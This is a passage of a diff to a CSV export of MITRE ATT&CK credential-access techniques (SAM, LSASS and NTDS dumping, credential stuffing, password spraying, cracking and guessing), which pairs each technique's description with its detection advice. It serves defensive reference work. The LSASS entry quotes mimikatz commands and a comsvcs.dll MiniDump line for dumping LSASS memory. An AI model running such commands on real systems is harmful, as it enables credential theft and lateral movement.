+",['credential-access'],https://attack.mitre.org/techniques/T1003/003,mitre-attack,T1003.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']","['File: File Access', 'Command: Command Execution']",,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.",True,['Administrator'],['Windows'],,,,['Access to Domain Controller or backup'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/002', 'external_id': 'T1003.002'}, {'source_name': 'GitHub Creddump7', 'description': 'Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.', 'url': 'https://github.com/Neohapsis/creddump7'}]",1.0,attack-pattern,attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:42:07.281Z,2020-03-25T15:17:30.640Z,Security Account Manager,"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access. A number of tools can be used to retrieve the SAM file through in-memory techniques: @@ -1578,8 +1770,8 @@ Notes: * RID 500 account is the local, built-in administrator. * RID 501 is the guest account. * User accounts start with a RID of 1,000+. -",attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011,attack-pattern,['credential-access'],2020-03-25T15:17:30.640Z,2020-02-11T18:42:07.281Z,Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.,"['Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'File: File Access']","['Ed Williams, Trustwave, SpiderLabs']",,['SYSTEM'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.001', 'url': 'https://attack.mitre.org/techniques/T1003/001'}, {'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'source_name': 'Graeber 2014'}, {'url': 'https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/', 'description': 'Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.', 'source_name': 'TechNet Blogs Credential Protection'}, {'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea', 'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory'}, {'url': 'https://github.com/mattifestation/PowerSploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Powersploit'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/001,mitre-attack,T1003.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,LSASS Memory,"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). +",['credential-access'],https://attack.mitre.org/techniques/T1003/002,mitre-attack,T1003.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']","['Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'File: File Access']",,Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.,True,['SYSTEM'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/001', 'external_id': 'T1003.001'}, {'source_name': 'Volexity Exchange Marauder March 2021', 'description': 'Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.', 'url': 'https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/'}, {'source_name': 'Symantec Attacks Against Government Sector', 'description': 'Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.', 'url': 'https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf'}, {'source_name': 'Graeber 2014', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'}, {'source_name': 'TechNet Blogs Credential Protection', 'description': 'Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.', 'url': 'https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}]",1.1,attack-pattern,attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:41:44.783Z,2021-10-15T19:55:01.368Z,LSASS Memory,"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. @@ -1592,6 +1784,10 @@ Locally, mimikatz can be run using: * sekurlsa::Minidump lsassdump.dmp * sekurlsa::logonPasswords +Built-in Windows tools such as comsvcs.dll can also be used: + +* rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector) + Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) @@ -1601,12 +1797,12 @@ The following SSPs can be used to access credentials: * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection) * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. * CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection) -",attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90,attack-pattern,['credential-access'],2020-06-09T20:46:00.393Z,2020-02-11T18:41:44.783Z,"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. +",['credential-access'],https://attack.mitre.org/techniques/T1003/001,mitre-attack,T1003.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Edward Millington', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'Process: OS API Execution']",,"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. -Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'Process: OS API Execution']","['Ed Williams, Trustwave, SpiderLabs']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1110.004', 'url': 'https://attack.mitre.org/techniques/T1110/004'}, {'external_id': 'CAPEC-600', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/600.html'}, {'source_name': 'US-CERT TA18-068A 2018', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,True,https://attack.mitre.org/techniques/T1110/004,mitre-attack,T1110.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credential Stuffing,"Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. +Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/004', 'external_id': 'T1110.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/600.html', 'external_id': 'CAPEC-600'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}]",1.2,attack-pattern,attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:39:59.959Z,2021-04-06T12:31:06.695Z,Credential Stuffing,"Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. @@ -1625,8 +1821,8 @@ Typically, management services over commonly used ports are used when stuffing c * MySQL (3306/TCP) * VNC (5900/TCP) -In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc,attack-pattern,['credential-access'],2021-04-06T12:31:06.695Z,2020-02-11T18:39:59.959Z,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","['User Account: User Account Authentication', 'Application Log: Application Log Content']","['Diogo Fernandes', 'Anastasios Pingios']",,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-600,https://capec.mitre.org/data/definitions/600.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1110.003', 'url': 'https://attack.mitre.org/techniques/T1110/003'}, {'external_id': 'CAPEC-565', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/565.html'}, {'url': 'http://www.blackhillsinfosec.com/?p=4645', 'description': 'Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.', 'source_name': 'BlackHillsInfosec Password Spraying'}, {'source_name': 'US-CERT TA18-068A 2018', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.'}, {'source_name': 'Trimarc Detecting Password Spraying', 'url': 'https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing', 'description': 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,True,https://attack.mitre.org/techniques/T1110/003,mitre-attack,T1110.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Password Spraying,"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) +In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",['credential-access'],https://attack.mitre.org/techniques/T1110/004,mitre-attack,T1110.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Diogo Fernandes', 'Anastasios Pingios']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-600,https://capec.mitre.org/data/definitions/600.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/003', 'external_id': 'T1110.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/565.html', 'external_id': 'CAPEC-565'}, {'source_name': 'BlackHillsInfosec Password Spraying', 'description': 'Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.', 'url': 'http://www.blackhillsinfosec.com/?p=4645'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}, {'source_name': 'Trimarc Detecting Password Spraying', 'description': 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.', 'url': 'https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing'}]",1.2,attack-pattern,attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:39:25.122Z,2021-04-06T12:32:47.678Z,Password Spraying,"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: @@ -1645,15 +1841,15 @@ Typically, management services over commonly used ports are used when password s In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) -In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.",attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c,attack-pattern,['credential-access'],2021-04-06T12:32:47.678Z,2020-02-11T18:39:25.122Z,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. +In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.",['credential-access'],https://attack.mitre.org/techniques/T1110/003,mitre-attack,T1110.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Threat Intelligence Center (MSTIC)', 'John Strand']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) * Domain Controllers: ""Audit Logon"" (Success & Failure) for event ID 4625. * Domain Controllers: ""Audit Kerberos Authentication Service"" (Success & Failure) for event ID 4771. -* All systems: ""Audit Logon"" (Success & Failure) for event ID 4648.","['User Account: User Account Authentication', 'Application Log: Application Log Content']","['Microsoft Threat Intelligence Center (MSTIC)', 'John Strand']",,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-565,https://capec.mitre.org/data/definitions/565.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1110.002', 'url': 'https://attack.mitre.org/techniques/T1110/002'}, {'external_id': 'CAPEC-55', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/55.html'}, {'url': 'https://en.wikipedia.org/wiki/Password_cracking', 'description': 'Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.', 'source_name': 'Wikipedia Password cracking'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1110/002,mitre-attack,T1110.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Password Cracking,"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d,attack-pattern,['credential-access'],2020-09-16T15:39:59.041Z,2020-02-11T18:38:56.197Z,"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'Azure AD']",,CAPEC-55,https://capec.mitre.org/data/definitions/55.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1110.001', 'url': 'https://attack.mitre.org/techniques/T1110/001'}, {'external_id': 'CAPEC-49', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html'}, {'source_name': 'Cylance Cleaver', 'description': 'Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', 'url': 'https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'}, {'source_name': 'US-CERT TA18-068A 2018', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,True,https://attack.mitre.org/techniques/T1110/001,mitre-attack,T1110.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Password Guessing,"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. +* All systems: ""Audit Logon"" (Success & Failure) for event ID 4648.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-565,https://capec.mitre.org/data/definitions/565.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/002', 'external_id': 'T1110.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/55.html', 'external_id': 'CAPEC-55'}, {'source_name': 'Wikipedia Password cracking', 'description': 'Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.', 'url': 'https://en.wikipedia.org/wiki/Password_cracking'}]",1.1,attack-pattern,attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:38:56.197Z,2020-09-16T15:39:59.041Z,Password Cracking,"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",['credential-access'],https://attack.mitre.org/techniques/T1110/002,mitre-attack,T1110.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",True,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'Azure AD']",,CAPEC-55,https://capec.mitre.org/data/definitions/55.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/001', 'external_id': 'T1110.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html', 'external_id': 'CAPEC-49'}, {'source_name': 'Cylance Cleaver', 'description': 'Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', 'url': 'https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}]",1.2,attack-pattern,attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:38:22.617Z,2021-04-21T16:41:35.269Z,Password Guessing,"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) @@ -1674,63 +1870,73 @@ Typically, management services over commonly used ports are used when guessing p In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) -In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.",attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119,attack-pattern,['credential-access'],2021-04-21T16:41:35.269Z,2020-02-11T18:38:22.617Z,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","['User Account: User Account Authentication', 'Application Log: Application Log Content']",['Microsoft Threat Intelligence Center (MSTIC)'],,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-49,https://capec.mitre.org/data/definitions/49.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021.006', 'url': 'https://attack.mitre.org/techniques/T1021/006'}, {'url': 'http://msdn.microsoft.com/en-us/library/aa384426', 'description': 'Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.', 'source_name': 'Microsoft WinRM'}, {'url': 'https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2', 'description': 'Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.', 'source_name': 'Jacobsen 2014'}, {'source_name': 'Medium Detecting Lateral Movement', 'url': 'https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc', 'description': 'French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1021/006,mitre-attack,T1021.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows Remote Management,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. +In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.",['credential-access'],https://attack.mitre.org/techniques/T1110/001,mitre-attack,T1110.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Microsoft Threat Intelligence Center (MSTIC)'],"['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-49,https://capec.mitre.org/data/definitions/49.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/006', 'external_id': 'T1021.006'}, {'source_name': 'Microsoft WinRM', 'description': 'Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa384426'}, {'source_name': 'Jacobsen 2014', 'description': 